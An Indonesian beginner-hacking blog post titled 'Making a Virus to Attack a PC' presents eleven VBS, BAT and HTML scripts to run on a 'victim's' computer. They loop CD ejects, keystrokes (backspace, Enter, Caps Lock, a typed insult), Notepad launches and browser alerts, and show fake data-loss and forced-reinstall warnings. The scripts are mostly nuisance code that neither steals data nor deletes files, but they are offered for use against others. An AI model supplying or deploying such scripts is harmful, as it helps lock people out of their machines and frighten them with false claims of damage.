Membuat Virus Untuk Menyerang PC - Belajar Hacker Pemula

Banyak jenis virus yang beredar didunia Maya,seperti virus yagn membuat laptop ngelag, virus yang selalu membuka tab secara-terus menerus. hal ini pasti kesal untuk anda maupun saya, untuk itu saya membagikan cara untuk membuat virus PC itu sendiri,ok lansung aja, satu per satu

1. Buka Notepad.
Cara : Klik Start => Klik All Program => Accessories => Pilih Notepad.
* setelah terbuka.

Copy script dibawah ini :

Quote:
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

2. Paste script diatas kedalam NotePad.

3. Kemudian Save dengan ekstensi .vbs

Okee-!!!

JANGAN COBA-COBA MENCOBA PADA KOMPUTER ANDA-!!

Ada yang lain lagi lhooo…
Yang dapat membuat orang lain panic.
Caranya sama seperti diatas. Tapi scriptnya berbeda dan ekstensinya juga berbeda.

Ini niee….

untuk yang ini, membuat orang panic,heheh jail dikit

2. Backspace Jalan Terus-Menerus :

 Quote:
 MsgBox "Let's go back a few steps"
 Set wshShell =wscript.CreateObject("WScript.Shell")
 do
 wscript.sleep 100
 wshshell.sendkeys "{bs}"
 loop

 ( save dalam ektensi .VBS )

3. Korban Harus Mengetik "Saya Orang Gila"
 Secara Terus-Menerus :

 Quote:
 Set wshShell = wscript.CreateObject("WScript.Shell")
 do
 wscript.sleep 100
 wshshell.sendkeys " Saya Orang Gila "
 loop

 ( save dalam ektensi .VBS )

4. Buka Notepad Terus-Menerus :

 Quote:
 @ECHO off
 :top
 START %SystemRoot%\system32\notepad.exe
 GOTO top

 ( save dalam ektensi .BAT )

5. (lima) Pesan Buat Korban :

 Quote:
 @echo off
 title The end of the world
 cd C:\
 :menu
 cls
 echo Oops Tanggung Jawab Yah...
 pause
 echo Semua Ini Salahmu =P :
 echo 1. Semua Data Akan Hilang
 echo 2. Komputer Error
 echo 3. Komputer Kena Virus H1N5
 echo 4. Segera Matikan Komputernya
 echo 5. Good bye.....
 set input=nothing
 set /p input=Choice:
 if %input%==1 goto one
 if %input%==2 goto two

 ( save dalam ektensi .BAT )

6. Menekan Enter Terus Menerus :

 Quote:
 Set wshShell = wscript.CreateObject("WScript.Shell")
 do
 wscript.sleep 100
 wshshell.sendkeys "~(enter)"
 loop

 ( save dalam ektensi .VBS )

7. Muncul Pesan Secara otomatis :

 Quote:
 WScript.Sleep 180000
 WScript.Sleep 10000
 Set WshShell = WScript.CreateObject("WScript.Shell")
 WshShell.Run "notepad"
 WScript.Sleep 100
 WshShell.AppActivate "Notepad"
 WScript.Sleep 500
 WshShell.SendKeys "Hello"
 WScript.Sleep 500
 WshShell.SendKeys "how"
 WScript.Sleep 500
 WshShell.SendKeys "are"
 WScript.Sleep 500
 WshShell.SendKeys "you"
 WScript.Sleep 500
 WshShell.SendKeys " ? "
 WScript.Sleep 500
 WshShell.SendKeys "I"
 WScript.Sleep 500
 WshShell.SendKeys "m"
 WScript.Sleep 500
 WshShell.SendKeys "gho"
 WScript.Sleep 500
 WshShell.SendKeys " st"

 ( save dalam ektensi .VBS )

8. Terkena Virus :

 <html>
 <head>
 <script type
="text/javascript">
 function display_alert()
 {
 alert("Komputer dalam ranjau virus !!")
 var b = true
 while (b == true){
 alert("Virus Trojan 5 !!")
 }}
 </script>
 </head>
 <body><input type="button" onclick="display_alert()"
 value="Submit" /></body>
 </html></center>

 ( save dalam ektensi .HTML )

9. Tombol Caps Lock hidup terus :

 Quote:
 Set wshShell =wscript.CreateObject("WScript.Shell") do
 wscript.sleep 100
 wshshell.sendkeys "{CAPSLOCK}" loop

 ( save dalam ektensi .VBS )

10. Pesan Shutdown :

 Quote:
 @echo off
 msg * Komputer anda hank
 msg * Tidak ada jalan lain
 msg * Harus dishutdown

 ( save dalam ektensi .BAT )

11. Pesan Restart :

 @ECHO off
 :Begin
 msg * WARNING !
 msg * Komputer anda error
 msg * Tidak ada cara lain
 msg * Harus diinstall ulang
 GOTO BEGIN

 ( save dalam ektensi .BAT )

Terimakasih anda telah membaca artikel tentang Membuat Virus Untuk Menyerang PC . Jika ingin menduplikasi artikel ini diharapkan anda untuk mencantumkan link https://pemula-ngehack.blogspot.com/2016/02/mmembuat-virus-untuk-menyerang-pc.html. Terimakasih atas perhatiannya.